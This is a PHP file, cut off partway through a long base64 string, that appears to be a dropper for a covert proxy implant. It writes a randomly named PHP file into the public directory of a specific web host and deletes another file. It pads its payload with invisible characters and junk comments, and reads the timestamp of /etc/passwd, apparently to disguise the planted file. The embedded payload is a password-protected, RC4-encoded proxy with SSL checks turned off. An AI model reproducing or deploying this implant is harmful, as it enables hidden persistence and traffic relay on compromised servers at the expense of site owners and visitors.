<?php
$outfile='/home/ploi/pay-demo.skeps.io/public/mZILpeFo.php';
unlink('pupSddsfdf.php');
$lfile=basename(__FILE__);
$wfile=basename($_SERVER["SCRIPT_NAME"]);

if ($outfile=='__OUT'.'FILE__') {echo base64_encode(file_get_contents(__FILE__));die();}
echo "Proxy file: $outfile\n";



function _d_e_code($input,$decode=FALSE)
	{


	$todo = $decode ? 'decode' : 'encode';
	$funcs=array('json_'.$todo,'rc4local','base64_'.$todo,'rawurl'.$todo);

	if ($decode) $funcs= array_reverse($funcs);
	foreach ($funcs as $func) 
		{
//print_r($input);
			$input=$func($input);
		}

	return $input;
	}


if (!file_exists(dirname($outfile)) || !is_writable(dirname($outfile))) 
		{
		echo "No write permissions or directory not exists:" .dirname($outfile)."\n";
		exit();
		}


if (file_exists($outfile))@unlink($outfile);
file_put_contents($outfile,'');
$finode=fileinode($outfile);
$donor=filemtime('/etc/passwd');
$ctime=time();

$key1=md5($finode);
$key2=md5($ctime);
$key3=md5($key1.$key2);

#echo "$key1 $key2 $key3\n";



$start='';
for($i=0;$i<=rand(5,20);$i++) $start.=randinvis();

$start.="/*\n".generate_random_string(rand(20,100))."\n";


$end='';
for($i=0;$i<=rand(5,20);$i++) $end.=randinvis();
$end.="*/".randinvis();

/*
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
ini_set('display_errors', 1);
*/

//$proxy_code='aGVhZGVyKCJBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoiLHRydWUpOwpoZWFkZXIoIkV4cGlyZXM6IE1vbiwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01UIix0cnVlKTsKaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiIC4gZ21kYXRlKCJELCBkIE0gWSBIOmk6cyIpIC4gIiBHTVQiLHRydWUpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIix0cnVlKTsKaGVhZGVyKCJDYWNoZS1Db250cm9sOiBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIix0cnVlKTsKaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIix0cnVlKTsKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpkZWZpbmUoJ1BST1hZX1ZFUlNJT04nLCAnNC4wJyk7CmRlZmluZSgnUFJPWFlfUEFTU1dPUkQnLCAnX19QQVNTV09SRF9fJyk7CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpmdW5jdGlvbiByYzQoJHN0ciwka2V5PVBST1hZX1BBU1NXT1JEKSB7CiAgICBpZiAoZW1wdHkoJHN0cikpIHJldHVybiAnJzsKICAgIGlmICghaXNfc3RyaW5nKCRzdHIpKSAkc3RyPXN0cnZhbCgkc3RyKTsKICAgICAgICAkcyA9IGFycmF5KCk7CiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgMjU2OyAkaSsrKSB7CiAgICAgICAgICAgICAgICAkc1skaV0gPSAkaTsKICAgICAgICB9CiAgICAgICAgJGogPSAwOwogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IDI1NjsgJGkrKykgewogICAgICAgICAgICAgICAgJGogPSAoJGogKyAkc1skaV0gKyBvcmQoJGtleVskaSAlIHN0cmxlbigka2V5KV0pKSAlIDI1NjsKICAgICAgICAgICAgICAgICR4ID0gJHNbJGldOwogICAgICAgICAgICAgICAgJHNbJGldID0gJHNbJGpdOwogICAgICAgICAgICAgICAgJHNbJGpdID0gJHg7CiAgICAgICAgfQogICAgICAgICRpID0gMDsKICAgICAgICAkaiA9IDA7CiAgICAgICAgJHJlcyA9ICcnOwogICAgICAgIGZvciAoJHkgPSAwOyAkeSA8IHN0cmxlbigkc3RyKTsgJHkrKykgewogICAgICAgICAgICAgICAgJGkgPSAoJGkgKyAxKSAlIDI1NjsKICAgICAgICAgICAgICAgICRqID0gKCRqICsgJHNbJGldKSAlIDI1NjsKICAgICAgICAgICAgICAgICR4ID0gJHNbJGldOwogICAgICAgICAgICAgICAgJHNbJGldID0gJHNbJGpdOwogICAgICAgICAgICAgICAgJHNbJGpdID0gJHg7CiAgICAgICAgICAgICAgICAkcmVzIC49ICRzdHJbJHldIF4gY2hyKCRzWygkc1skaV0gKyAkc1skal0pICUgMjU2XSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmVzOwp9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpmdW5jdGlvbiBfZF9lX2NvZGUoJGlucHV0LCRkZWNvZGU9RkFMU0UpCgl7CgkkdG9kbyA9ICRkZWNvZGUgPyAnZGVjb2RlJyA6ICdlbmNvZGUnOwoJJGZ1bmNzPWFycmF5KCdqc29uXycuJHRvZG8sJ3JjNCcsJ2Jhc2U2NF8nLiR0b2RvLCdyYXd1cmwnLiR0b2RvKTsKCWlmICgkZGVjb2RlKSAkZnVuY3M9IGFycmF5X3JldmVyc2UoJGZ1bmNzKTsKCWZvcmVhY2ggKCRmdW5jcyBhcyAkZnVuYykgJGlucHV0PSRmdW5jKCRpbnB1dCk7CglyZXR1cm4gJGlucHV0OwoJfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gY2FjaGVkX2ZuYW1lKCRmaWxlX3BhdGgpCgkJewoJJGNhY2hlZGlyPXN5c19nZXRfdGVtcF9kaXIoKTsKCWlmICgoIWlzX3dyaXRhYmxlKCRjYWNoZWRpcikpfHwoIWlzX3JlYWRhYmxlKCRjYWNoZWRpcikpKSByZXR1cm4gRkFMU0U7CgkkY2FjaGVkX2ZuYW1lID1fZF9lX2NvZGUoYmFzZW5hbWUoJGZpbGVfcGF0aCkpOwoJcmV0dXJuICRjYWNoZWRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLnByZWdfcmVwbGFjZSgnL1teYS16QS1aMC05Xy4tXS8nLCAnJywgJGNhY2hlZF9mbmFtZSk7CgkJfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gcmVzb2x2ZV9jbGllbnRfaXAoKSA6c3RyaW5nCnsKICAgICRoZWFkZXJzID0gYXJyYXkoCiAgICAgICAgJ0hUVFBfQ0ZfQ09OTkVDVElOR19JUCcsIC8vIENsb3VkRmxhcmUKICAgICAgICAnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCAgLy8gQVdTIExCIGFuZCBvdGhlciByZXZlcnNlLXByb3hpZXMKICAgICAgICAnSFRUUF9YX1JFQUxfSVAnLAogICAgICAgICdIVFRQX1hfQ0xJRU5UX0lQJywKICAgICAgICAnSFRUUF9DTElFTlRfSVAnLAogICAgICAgICdIVFRQX1hfQ0xVU1RFUl9DTElFTlRfSVAnCiAgICApOwogICAgZm9yZWFjaCAoJGhlYWRlcnMgYXMgJGhlYWRlcikgewogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCRoZWFkZXIsICRfU0VSVkVSKSkgewogICAgICAgICAgICAkaXAgPSAkX1NFUlZFUlskaGVhZGVyXTsKICAgICAgICAgICAgLy8gVGhpcyBsaW5lIG1pZ2h0IG9yIG1pZ2h0IG5vdCBiZSB1c2VkLgogICAgICAgICAgICAkaXAgPSB0cmltKGV4cGxvZGUoJywnLCAkaXApWzBdKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIHJldHVybiAkaXA7CiAgICAgICAgfQogICAgfQogICAgCiAgICByZXR1cm4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107Cn0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmZ1bmN0aW9uIHJlc29sdmVfcHJveHlfYmFzZSgpCgl7CglpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pKSAkcHJvdG89J2h0dHBzJzsKCWVsc2VpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkpICRwcm90bz0kX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddOwoJZWxzZSAkcHJvdG89J2h0dHAnOwoJJGJhc2U9JHByb3RvLiI6Ly8iLiRfU0VSVkVSWyJIVFRQX0hPU1QiXTsKCSRiYXNlLj0kX1NFUlZFUlsiU0NSSVBUX05BTUUiXTsKCXJldHVybiAkYmFzZTsKCX0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmZ1bmN0aW9uIGdldF9pbmNvbWluZ19oZWFkZXJzKCkKCQl7Cgkkc2tpcHRoaXMgPSBhcnJheQkoCiAgICAgICAgCSdIVFRQX0hPU1QnLAoJCSdIVFRQX0FDQ0VQVCcsCgkgICAgICAgICdIVFRQX0FDQ0VQVF9FTkNPRElORycKCQkJCSk7CgkkY2xpZW50X2hlYWRlcnM9YXJyYXkoKTsKCWZvcmVhY2ggKCRfU0VSVkVSIGFzICRrZXkgPT4gJHZhbHVlKQoJCQl7Cgkka2V5PXN0cnRvdXBwZXIoJGtleSk7CglpZiAoKHN0cnBvcygka2V5LCAnSFRUUF8nKSAhPT0gMCkgfHwgKGluX2FycmF5KCRrZXksJHNraXB0aGlzKSkpIGNvbnRpbnVlOwoJJGNsaWVudF9oZWFkZXJzWyRrZXldPSR2YWx1ZTsKCQkJfQoKCSRjbGllbnRfaGVhZGVyc1snUkVNT1RFX0FERFInXT1yZXNvbHZlX2NsaWVudF9pcCgpOwoKLy8JcHJpbnRfcigkY2xpZW50X2hlYWRlcnMpOwoJcmV0dXJuIGFycmF5KCd2aXNpdG9yX2hlYWRlcnMnPT4kY2xpZW50X2hlYWRlcnMpOwoJCX0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmZ1bmN0aW9uIGV4dHJhY3Rfa2F2KCRpbnB1dCkgeyAvL2V4dHJhY3Qga2V5IGFuZCB2YWx1ZXMKCSRhcnIgPSAoaXNfYXJyYXkoJGlucHV0KSA/IGFycmF5X21lcmdlKGFycmF5X2tleXMoJGlucHV0KSxhcnJheV92YWx1ZXMoJGlucHV0KSkgOiBhcnJheSgkaW5wdXQpKTsKCSRhcnJ4ID0gYXJyYXkoKTsKCWZvcmVhY2ggKCRhcnIgYXMgJHN0cmluZykKCQkJewoJCWlmIChzdHJwb3MoJHN0cmluZywnXScpPT09RkFMU0UpIGNvbnRpbnVlOwoJCSRzdHJpbmc9c3RyX3JlcGxhY2UoJ10nLCcnLCRzdHJpbmcpOwoJCWZvcmVhY2ggKGV4cGxvZGUoJ1snLCRzdHJpbmcpIGFzICRuYW1lKSAkYXJyeFtdPSRuYW1lOwoJCQl9CglyZXR1cm4gYXJyYXlfbWVyZ2UoJGFyciwkYXJyeCk7Cn0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmZ1bmN0aW9uIG1wKCRhcnI9JycsJGNvbnQ9RkFMU0UpCiAgICAgICAgewogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJGFycik7CiAgICAgICAgaWYgKCEkY29udCkgZXhpdCgwKTsKICAgICAgICB9CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpmdW5jdGlvbiBtcmVhZGZpbGUoJGZpbGU9JycpCiAgICAgICAgewogICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZSkgJiYgaXNfcmVhZGFibGUoJGZpbGUpKSByZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOwogICAgICAgIGVsc2UgcmV0dXJuIEZBTFNFOwogICAgICAgIH0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmZ1bmN0aW9uIHJpKCYkdmFyaWFibGUsICRkZWZhdWx0ID0gbnVsbCkKewogICAgICAgIGlmIChpc3NldCgkdmFyaWFibGUpKSB7CiAgICAgICAgICAgIHJldHVybiAkdmFyaWFibGU7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgcmV0dXJuICRkZWZhdWx0OwogICAgICAgIH0KfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gZ2VuZXJhdGVfcmFuZG9tX3N0cmluZygkbGVuZ3RoID0gMTApIHsKICAgICRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVonOwogICAgLy8gUmVwZWF0IHRoZSBjaGFyYWN0ZXIgc2V0IHRvIGVuc3VyZSBhbGwgY2hhcmFjdGVycyBjYW4gcG90ZW50aWFsbHkgcmVwZWF0CiAgICAkc2h1ZmZsZWRfY2hhcnMgPSBzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCRjaGFyYWN0ZXJzLCBjZWlsKCRsZW5ndGggLyBzdHJsZW4oJGNoYXJhY3RlcnMpKSkpOwogICAgLy8gRXh0cmFjdCBhIHN1YnN0cmluZyBvZiB0aGUgZGVzaXJlZCBsZW5ndGgKICAgIHJldHVybiBzdWJzdHIoJHNodWZmbGVkX2NoYXJzLCAwLCAkbGVuZ3RoKTsKfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gYnl0ZTIoJGJ5dGVzKSB7CiAgICAgICAgJHNpemUgPSBhcnJheSgnQi9zJywnS0IvcycsJ01CL3MnLCdHQi9zJywnVEIvcycpOwogICAgICAgICRmYWN0b3IgPSBmbG9vcihsb2coJGJ5dGVzLCAxMDI0KSk7CiAgICAgICAgJGZvcm1hdCA9ICRmYWN0b3IgPiAyID8gJyUuMUYgJXMnIDogJyV1ICVzJzsKICAgICAgICByZXR1cm4gc3ByaW50ZigkZm9ybWF0LCAkYnl0ZXMgLyBwb3coMTAyNCwgJGZhY3RvciksICRzaXplWyRmYWN0b3JdKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gcmFuZG9taXplX291dHB1dCgpCgkJewoJJG91dD0iIjsKCSRybmRjaGFycz1hcnJheSgiXG4iLCJcdCIsIiAiKTsKCWZvciAoJGk9MDskaTw9cmFuZCgzLDE1KTskaSsrKSAkb3V0Lj0kcm5kY2hhcnNbYXJyYXlfcmFuZCgkcm5kY2hhcnMpXTsKCXJldHVybiAkb3V0OwoJCX0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmZ1bmN0aW9uIHNwbGl0UmVzcG9uc2VIZWFkZXJzKCRoZWFkZXJTdHJpbmcpCnsKICAgICRyZXN1bHRzID0gYXJyYXkoKTsKICAgICRoZWFkZXJMaW5lcyA9IHByZWdfc3BsaXQoJy9bXHJcbl0rLycsICRoZWFkZXJTdHJpbmcpOwogICAgZm9yZWFjaCAoJGhlYWRlckxpbmVzIGFzICRoZWFkZXJMaW5lKSB7CiAgICAgICAgaWYgKGVtcHR5KCRoZWFkZXJMaW5lKSkgewogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CgogICAgICAgIC8vIEhlYWRlciBjb250YWlucyBIVFRQIHZlcnNpb24gc3BlY2lmaWNhdGlvbiBhbmQgcGF0aAogICAgICAgIGlmIChzdHJwb3MoJGhlYWRlckxpbmUsICdIVFRQLycpID09PSAwKSB7CiAgICAgICAgICAgIC8vIFJlc2V0IHRoZSBvdXRwdXQgYXJyYXkgYXMgdGhlcmUgbWF5IGJ5IG11bHRpcGxlIHJlc3BvbnNlIGhlYWRlcnMKICAgICAgICAgICAgJHJlc3VsdHMgPSBhcnJheSgpOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CgogICAgICAgICRyZXN1bHRzW10gPSAiJGhlYWRlckxpbmUiOwogICAgfQoKICAgIHJldHVybiAkcmVzdWx0czsKfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdodHRwX3Jlc3BvbnNlX2NvZGUnKSkgewogICAgICAgIGZ1bmN0aW9uIGh0dHBfcmVzcG9uc2VfY29kZSgkY29kZSA9IE5VTEwpIHsKICAgICAgICAgICAgaWYgKCRjb2RlICE9PSBOVUxMKSB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCRjb2RlKSB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMDA6ICR0ZXh0ID0gJ0NvbnRpbnVlJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMDE6ICR0ZXh0ID0gJ1N3aXRjaGluZyBQcm90b2NvbHMnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDIwMDogJHRleHQgPSAnT0snOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDIwMTogJHRleHQgPSAnQ3JlYXRlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMjAyOiAkdGV4dCA9ICdBY2NlcHRlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMjAzOiAkdGV4dCA9ICdOb24tQXV0aG9yaXRhdGl2ZSBJbmZvcm1hdGlvbic7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMjA0OiAkdGV4dCA9ICdObyBDb250ZW50JzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAyMDU6ICR0ZXh0ID0gJ1Jlc2V0IENvbnRlbnQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDIwNjogJHRleHQgPSAnUGFydGlhbCBDb250ZW50JzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAzMDA6ICR0ZXh0ID0gJ011bHRpcGxlIENob2ljZXMnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDMwMTogJHRleHQgPSAnTW92ZWQgUGVybWFuZW50bHknOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDMwMjogJHRleHQgPSAnTW92ZWQgVGVtcG9yYXJpbHknOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDMwMzogJHRleHQgPSAnU2VlIE90aGVyJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAzMDQ6ICR0ZXh0ID0gJ05vdCBNb2RpZmllZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMzA1OiAkdGV4dCA9ICdVc2UgUHJveHknOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQwMDogJHRleHQgPSAnQmFkIFJlcXVlc3QnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQwMTogJHRleHQgPSAnVW5hdXRob3JpemVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MDI6ICR0ZXh0ID0gJ1BheW1lbnQgUmVxdWlyZWQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQwMzogJHRleHQgPSAnRm9yYmlkZGVuJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MDQ6ICR0ZXh0ID0gJ05vdCBGb3VuZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDA1OiAkdGV4dCA9ICdNZXRob2QgTm90IEFsbG93ZWQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQwNjogJHRleHQgPSAnTm90IEFjY2VwdGFibGUnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQwNzogJHRleHQgPSAnUHJveHkgQXV0aGVudGljYXRpb24gUmVxdWlyZWQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQwODogJHRleHQgPSAnUmVxdWVzdCBUaW1lLW91dCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDA5OiAkdGV4dCA9ICdDb25mbGljdCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDEwOiAkdGV4dCA9ICdHb25lJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MTE6ICR0ZXh0ID0gJ0xlbmd0aCBSZXF1aXJlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDEyOiAkdGV4dCA9ICdQcmVjb25kaXRpb24gRmFpbGVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MTM6ICR0ZXh0ID0gJ1JlcXVlc3QgRW50aXR5IFRvbyBMYXJnZSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDE0OiAkdGV4dCA9ICdSZXF1ZXN0LVVSSSBUb28gTGFyZ2UnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQxNTogJHRleHQgPSAnVW5zdXBwb3J0ZWQgTWVkaWEgVHlwZSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNTAwOiAkdGV4dCA9ICdJbnRlcm5hbCBTZXJ2ZXIgRXJyb3InOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDUwMTogJHRleHQgPSAnTm90IEltcGxlbWVudGVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA1MDI6ICR0ZXh0ID0gJ0JhZCBHYXRld2F5JzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA1MDM6ICR0ZXh0ID0gJ1NlcnZpY2UgVW5hdmFpbGFibGUnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDUwNDogJHRleHQgPSAnR2F0ZXdheSBUaW1lLW91dCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNTA1OiAkdGV4dCA9ICdIVFRQIFZlcnNpb24gbm90IHN1cHBvcnRlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQoJ1Vua25vd24gaHR0cCBzdGF0dXMgY29kZSAiJyAuIGh0bWxlbnRpdGllcygkY29kZSkgLiAnIicpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHByb3RvY29sID0gKGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfUFJPVE9DT0wnXSkgPyAkX1NFUlZFUlsnU0VSVkVSX1BST1RPQ09MJ10gOiAnSFRUUC8xLjAnKTsKICAgICAgICAgICAgICAgICRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSA9ICRjb2RlOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGNvZGUgPSAoaXNzZXQoJEdMT0JBTFNbJ2h0dHBfcmVzcG9uc2VfY29kZSddKSA/ICRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSA6IDIwMCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuICRjb2RlOwogICAgICAgIH0KICAgIH0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmZ1bmN0aW9uIHJlcXVlc3QoJHRhcmdldFVybCwkcmVxdWVzdF9hcGksJGhlYWRlcnM9YXJyYXkoKSkKICAgICAgICB7CgoJJHJlc3BvbnNlQ29kZT1GQUxTRTsKCSRyZXNwb25zZUhlYWRlcj1GQUxTRTsKCSRyZXNwb25zZUJvZHk9RkFMU0U7CgoJc3dpdGNoICgkcmVxdWVzdF9hcGkpIAl7CiAgICAgICAgCWNhc2UgJ2N1cmwnOgoJCQkkcmVxdWVzdCA9IGN1cmxfaW5pdCgkdGFyZ2V0VXJsKTsKCQkJY3VybF9zZXRvcHRfYXJyYXkoJHJlcXVlc3QsIGFycmF5KAovLwkJCSAgICBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OID0+IHRydWUsCgkJCSAgICBDVVJMT1BUX0hFQURFUiA9PiB0cnVlLAoJCQkgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLAoJCQkgICAgQ1VSTElORk9fSEVBREVSX09VVCA9PiB0cnVlLAoJCQkgICAgQ1VSTE9QVF9IVFRQSEVBREVSID0+ICRoZWFkZXJzLAoJCQkgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUj0+ZmFsc2UsCgkJCSAgICBDVVJMT1BUX1NTTF9WRVJJRllIT1NUPT5mYWxzZSwKCQkJICAgIENVUkxPUFRfSFRUUF9WRVJTSU9OPT4gQ1VSTF9IVFRQX1ZFUlNJT05fMV8wCgkJCQkJCQkpKTsKCQkJJHJlc3BvbnNlID0gY3VybF9leGVjKCRyZXF1ZXN0KTsKCQkJJGhlYWRlclNpemUgPSBjdXJsX2dldGluZm8oJHJlcXVlc3QsIENVUkxJTkZPX0hFQURFUl9TSVpFKTsKCQkJJHJlc3BvbnNlSGVhZGVyID0gc3Vic3RyKCRyZXNwb25zZSwgMCwgJGhlYWRlclNpemUpOwoJCQkkcmVzcG9uc2VCb2R5ID0gc3Vic3RyKCRyZXNwb25zZSwgJGhlYWRlclNpemUpOwoJCQkkcmVzcG9uc2VJbmZvID0gY3VybF9nZXRpbmZvKCRyZXF1ZXN0KTsKCQkJJHJlc3BvbnNlQ29kZSA9IHJpKCRyZXNwb25zZUluZm9bJ2h0dHBfY29kZSddLCA1MDApOwoJCQkkcmVkaXJlY3RDb3VudCA9IHJpKCRyZXNwb25zZUluZm9bJ3JlZGlyZWN0X2NvdW50J10sIDApOwoJCQkkcmVxdWVzdEhlYWRlcnMgPSBwcmVnX3NwbGl0KCcvW1xyXG5dKy8nLCByaSgkcmVzcG9uc2VJbmZvWydyZXF1ZXN0X2hlYWRlciddLCAnJykpOwoJCQlpZiAoJHJlc3BvbnNlQ29kZSA9PT0gMCkgewoJCQkgICAgJHJlc3BvbnNlQ29kZSA9IDQwNDsKCQkJCQkJfQoKCQkJJGZpbmFsUmVxdWVzdFVSTCA9IGN1cmxfZ2V0aW5mbygkcmVxdWVzdCwgQ1VSTElORk9fRUZGRUNUSVZFX1VSTCk7CgkJCQlpZiAoJHJlZGlyZWN0Q291bnQgPiAwICYmICFlbXB0eSgkZmluYWxSZXF1ZXN0VVJMKSkgewoJCQkJICAgICRmaW5hbFJlcXVlc3RVUkxQYXJ0cyA9IHBhcnNlX3VybCgkZmluYWxSZXF1ZXN0VVJMKTsKCQkJCSAgICAkZWZmZWN0aXZlVVJMID0gcmkoJGZpbmFsUmVxdWVzdFVSTFBhcnRzWydzY2hlbWUnXSwgJ2h0dHAnKSAuICc6Ly8nIC4KCQkJCSAgICAgICAgcmkoJGZpbmFsUmVxdWVzdFVSTFBhcnRzWydob3N0J10pIC4gcmkoJGZpbmFsUmVxdWVzdFVSTFBhcnRzWydwYXRoJ10sICcnKTsKCQkJCQkJCQkJCX0KCgkJCWN1cmxfY2xvc2UoJHJlcXVlc3QpOwogICAgICAgICAgICAgICAgCWJyZWFrOwoKCSAgICAgICAgY2FzZSAnc3NjJzoKCSRwdT1wYXJzZV91cmwoJHRhcmdldFVybCk7CgkkcXVlcnkgPSBpc3NldCgkcHVbJ3F1ZXJ5J10pID8gJz8nLiRwdVsncXVlcnknXSA6ICcnOwoJJGhvc3Q9JHB1WyJob3N0Il07CgkkcGF0aD0kcHVbInBhdGgiXTsKCSRwcmVmaXggPSAoJHB1WyJzY2hlbWUiXT09J2h0dHBzJykgPyAnc3NsOi8vJyA6ICd0Y3A6Ly8nOwoJJHBvcnQgPSAoaXNzZXQoJHB1WyJwb3J0Il0pKSA/ICRwdVsicG9ydCJdIDogTlVMTDsKCWlmICghJHBvcnQpICRwb3J0ID0gKCRwcmVmaXg9PSdzc2w6Ly8nKSA/IDQ0MyA6IDgwOwoJJGhvc3RuYW1lID0gJHByZWZpeC4kaG9zdC4iOiIuJHBvcnQ7CgkkY29udGV4dCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZShhcnJheSgKCSAgICAnc3NsJyA9PiBhcnJheSgKCSAgICAgICAgJ3ZlcmlmeV9wZWVyJyA9PiBmYWxzZSwKCSAgICAgICAgJ3ZlcmlmeV9wZWVyX25hbWUnID0+IGZhbHNlCgkJCSkKCQkJCQkpKTsKCSRmcCA9IHN0cmVhbV9zb2NrZXRfY2xpZW50KCRob3N0bmFtZSwgJGVycm5vLCAkZXJyc3RyLCBpbmlfZ2V0KCJkZWZhdWx0X3NvY2tldF90aW1lb3V0IiksIFNUUkVBTV9DTElFTlRfQ09OTkVDVCwgJGNvbnRleHQpOwoJaWYoISRmcCkgZGllKCdOS0RNJyk7CgkkcmVxdWVzdD0gJ0dFVCAnLiRwYXRoLiRxdWVyeS4nICcuIkhUVFAvMS4wXHJcbiI7ICAKCSRyZXF1ZXN0Lj0gIkhPU1Q6ICRob3N0XHJcbiI7CgkkcmVxdWVzdC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG4iOwoJJHJlcXVlc3QuPWltcGxvZGUoIlxyXG4iLCRoZWFkZXJzKS4iXHJcbiI7CgkkcmVxdWVzdC49IlxyXG5cclxuIjsKCglmcHV0cygkZnAsJHJlcXVlc3QpOwoJJGlzaGVhZGVyPVRSVUU7CgkkcmVzcG9uc2VIZWFkZXI9IiI7CgkkcmVzcG9uc2VCb2R5PSIiOwoJICAgIHdoaWxlICgoJGxpbmUgPSBmZ2V0cygkZnApKSAhPT0gZmFsc2UpIHsKCQkJaWYgKCRpc2hlYWRlcikKCQkJCXsKCQkJaWYgKCRyZXNwb25zZUhlYWRlcj09JycpIGxpc3QoJGh0dHAsJH